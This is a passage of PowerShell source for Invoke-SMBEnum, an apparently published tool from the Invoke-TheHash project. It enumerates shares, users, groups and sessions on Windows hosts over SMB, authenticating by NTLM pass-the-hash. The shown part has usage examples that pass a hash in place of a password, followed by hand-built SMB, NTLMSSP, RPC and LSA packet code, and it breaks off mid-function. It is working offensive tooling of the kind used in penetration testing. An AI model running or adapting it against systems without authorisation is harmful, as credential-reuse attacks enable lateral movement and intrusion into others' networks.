function Invoke-SMBEnum { <# .SYNOPSIS Invoke-SMBEnum performs enumeration tasks over SMB with NTLMv2 pass the hash authentication. Invoke-SMBEnum supports SMB2 with and without SMB signing. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Target Hostname or IP address of target. .PARAMETER Username Username to use for authentication. .PARAMETER Domain Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. .PARAMETER Hash NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. .PARAMETER Action (All,Group,NetSession,Share,User) Default = Share: Enumeration action to perform. .PARAMETER Group Default = Administrators: Group to enumerate. .PARAMETER Sleep Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this setting if you are experiencing strange results. .PARAMETER Session Inveigh-Relay authenticated session. .PARAMETER SigningCheck (Switch) Checks to see if SMB signing is required on a target. .EXAMPLE List shares. Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 .EXAMPLE List NetSessions. Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action NetSession .EXAMPLE List local users using an authenticated Inveigh-Relay session. Invoke-SMBEnum -Session 1 -Action User .EXAMPLE Check if SMB signing is required. Invoke-SMBEnum -Target 192.168.100.20 -SigningCheck .LINK https://github.com/Kevin-Robertson/Invoke-TheHash #> [CmdletBinding(DefaultParametersetName='Default')] param ( [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Target, [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Action = "All", [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, [parameter(Mandatory=$false)][String]$Service, [parameter(Mandatory=$false)][String]$Group = "Administrators", [parameter(ParameterSetName='Default',Mandatory=$false)][Switch]$SigningCheck, [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, [parameter(Mandatory=$false)][Int]$Sleep=150 ) function ConvertFrom-PacketOrderedDictionary { param($OrderedDictionary) ForEach($field in $OrderedDictionary.Values) { $byte_array += $field } return $byte_array } #NetBIOS function New-PacketNetBIOSSessionService { param([Int]$HeaderLength,[Int]$DataLength) [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0] $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00)) $NetBIOSSessionService.Add("Length",$length) return $NetBIOSSessionService } #SMB1 function New-PacketSMBHeader { param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID) $ProcessID = $ProcessID[0,1] $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) $SMBHeader.Add("Command",$Command) $SMBHeader.Add("ErrorClass",[Byte[]](0x00)) $SMBHeader.Add("Reserved",[Byte[]](0x00)) $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) $SMBHeader.Add("Flags",$Flags) $SMBHeader.Add("Flags2",$Flags2) $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) $SMBHeader.Add("TreeID",$TreeID) $SMBHeader.Add("ProcessID",$ProcessID) $SMBHeader.Add("UserID",$UserID) $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) return $SMBHeader } function New-PacketSMBNegotiateProtocolRequest { param([String]$Version) if($Version -eq 'SMB1') { [Byte[]]$byte_count = 0x0c,0x00 } else { [Byte[]]$byte_count = 0x22,0x00 } $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) if($version -ne 'SMB1') { $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) } return $SMBNegotiateProtocolRequest } #SMB2 function New-PacketSMB2Header { param([Byte[]]$Command,[Byte[]]$CreditRequest,[Bool]$Signing,[Int]$MessageID,[Byte[]]$ProcessID,[Byte[]]$TreeID,[Byte[]]$SessionID) if($Signing) { $flags = 0x08,0x00,0x00,0x00 } else { $flags = 0x00,0x00,0x00,0x00 } [Byte[]]$message_ID = [System.BitConverter]::GetBytes($MessageID) if($message_ID.Length -eq 4) { $message_ID += 0x00,0x00,0x00,0x00 } $SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary $SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) $SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) $SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) $SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) $SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2Header.Add("Command",$Command) $SMB2Header.Add("CreditRequest",$CreditRequest) $SMB2Header.Add("Flags",$flags) $SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2Header.Add("MessageID",$message_ID) $SMB2Header.Add("ProcessID",$ProcessID) $SMB2Header.Add("TreeID",$TreeID) $SMB2Header.Add("SessionID",$SessionID) $SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) return $SMB2Header } function New-PacketSMB2NegotiateProtocolRequest { $SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) $SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) $SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) $SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) return $SMB2NegotiateProtocolRequest } function New-PacketSMB2SessionSetupRequest { param([Byte[]]$SecurityBlob) [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) return $SMB2SessionSetupRequest } function New-PacketSMB2TreeConnectRequest { param([Byte[]]$Buffer) [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) $SMB2TreeConnectRequest.Add("PathLength",$path_length) $SMB2TreeConnectRequest.Add("Buffer",$Buffer) return $SMB2TreeConnectRequest } function New-PacketSMB2CreateRequestFile { param([Byte[]]$NamedPipe) $name_length = ([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1] $SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary $SMB2CreateRequestFile.Add("StructureSize",[Byte[]](0x39,0x00)) $SMB2CreateRequestFile.Add("Flags",[Byte[]](0x00)) $SMB2CreateRequestFile.Add("RequestedOplockLevel",[Byte[]](0x00)) $SMB2CreateRequestFile.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("NameOffset",[Byte[]](0x78,0x00)) $SMB2CreateRequestFile.Add("NameLength",$name_length) $SMB2CreateRequestFile.Add("CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CreateRequestFile.Add("Buffer",$NamedPipe) return $SMB2CreateRequestFile } function New-PacketSMB2QueryInfoRequest { param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) [Byte[]]$buffer_bytes = ,0x00 * $Buffer $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) $SMB2QueryInfoRequest.Add("InfoType",$InfoType) $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2QueryInfoRequest.Add("FileID",$FileID) if($Buffer -gt 0) { $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) } return $SMB2QueryInfoRequest } function New-PacketSMB2ReadRequest { param ([Byte[]]$FileID) $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("FileID",$FileID) $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) return $SMB2ReadRequest } function New-PacketSMB2WriteRequest { param([Byte[]]$FileID,[Int]$RPCLength) [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) $SMB2WriteRequest.Add("Length",$write_length) $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("FileID",$FileID) $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) return $SMB2WriteRequest } function New-PacketSMB2CloseRequest { param ([Byte[]]$FileID) $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2CloseRequest.Add("FileID",$FileID) return $SMB2CloseRequest } function New-PacketSMB2TreeDisconnectRequest { $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) return $SMB2TreeDisconnectRequest } function New-PacketSMB2SessionLogoffRequest { $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) return $SMB2SessionLogoffRequest } function New-PacketSMB2IoctlRequest { param([Byte[]]$Function,[Byte[]]$FileName,[Int]$Length,[Int]$OutSize) [Byte[]]$indata_length = [System.BitConverter]::GetBytes($Length + 24) [Byte[]]$out_size = [System.BitConverter]::GetBytes($OutSize) $SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary $SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) $SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) $SMB2IoctlRequest.Add("Function",$Function) $SMB2IoctlRequest.Add("GUIDHandle",$FileName) $SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("InData_Length",$indata_length) $SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("MaxIoctlOutSize",$out_size) $SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) if($out_size -eq 40) { $SMB2IoctlRequest.Add("InData_Capabilities",[Byte[]](0x7f,0x00,0x00,0x00)) $SMB2IoctlRequest.Add("InData_ClientGUID",[Byte[]](0xc7,0x11,0x73,0x1e,0xa5,0x7d,0x39,0x47,0xaf,0x92,0x2d,0x88,0xc0,0x44,0xb1,0x1e)) $SMB2IoctlRequest.Add("InData_SecurityMode",[Byte[]](0x01)) $SMB2IoctlRequest.Add("InData_Unknown",[Byte[]](0x00)) $SMB2IoctlRequest.Add("InData_DialectCount",[Byte[]](0x02,0x00)) $SMB2IoctlRequest.Add("InData_Dialect",[Byte[]](0x02,0x02)) $SMB2IoctlRequest.Add("InData_Dialect2",[Byte[]](0x10,0x02)) } return $SMB2IoctlRequest } #NTLM function New-PacketNTLMSSPNegotiate { param([Byte[]]$NegotiateFlags,[Byte[]]$Version) [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) if($Version) { $NTLMSSPNegotiate.Add("Version",$Version) } return $NTLMSSPNegotiate } function New-PacketNTLMSSPAuth { param([Byte[]]$NTLMResponse) [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) return $NTLMSSPAuth } #RPC function New-PacketRPCBind { param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary $RPCBind.Add("Version",[Byte[]](0x05)) $RPCBind.Add("VersionMinor",[Byte[]](0x00)) $RPCBind.Add("PacketType",[Byte[]](0x0b)) $RPCBind.Add("PacketFlags",[Byte[]](0x03)) $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $RPCBind.Add("FragLength",$FragLength) $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) $RPCBind.Add("CallID",$call_ID) $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) $RPCBind.Add("NumCtxItems",$NumCtxItems) $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) $RPCBind.Add("ContextID",$ContextID) $RPCBind.Add("NumTransItems",[Byte[]](0x01)) $RPCBind.Add("Unknown2",[Byte[]](0x00)) $RPCBind.Add("Interface",$UUID) $RPCBind.Add("InterfaceVer",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) if($NumCtxItems[0] -eq 2) { $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $RPCBind.Add("Unknown3",[Byte[]](0x00)) $RPCBind.Add("Interface2",$UUID) $RPCBind.Add("InterfaceVer2",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) } elseif($NumCtxItems[0] -eq 3) { $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $RPCBind.Add("Unknown3",[Byte[]](0x00)) $RPCBind.Add("Interface2",$UUID) $RPCBind.Add("InterfaceVer2",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) $RPCBind.Add("Unknown4",[Byte[]](0x00)) $RPCBind.Add("Interface3",$UUID) $RPCBind.Add("InterfaceVer3",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) } if($call_ID -eq 3) { $RPCBind.Add("AuthType",[Byte[]](0x0a)) $RPCBind.Add("AuthLevel",[Byte[]](0x02)) $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) $RPCBind.Add("AuthReserved",[Byte[]](0x00)) $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } return $RPCBind } function New-PacketRPCRequest { param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) if($AuthLength -gt 0) { $full_auth_length = $AuthLength + $AuthPadding + 8 } [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) [Byte[]]$frag_length = $write_length[0,1] [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary $RPCRequest.Add("Version",[Byte[]](0x05)) $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) $RPCRequest.Add("PacketType",[Byte[]](0x00)) $RPCRequest.Add("PacketFlags",$Flags) $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $RPCRequest.Add("FragLength",$frag_length) $RPCRequest.Add("AuthLength",$auth_length) $RPCRequest.Add("CallID",$CallID) $RPCRequest.Add("AllocHint",$alloc_hint) $RPCRequest.Add("ContextID",$ContextID) $RPCRequest.Add("Opnum",$Opnum) if($data.Length) { $RPCRequest.Add("Data",$Data) } return $RPCRequest } # LSA function New-PacketLSAOpenPolicy { $LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary $LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00)) $LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00)) $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01)) $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00)) $LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) return $LSAOpenPolicy } function New-PacketLSAQueryInfoPolicy { param([Byte[]]$Handle) $LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary $LSAQueryInfoPolicy.Add("PointerToHandle",$Handle) 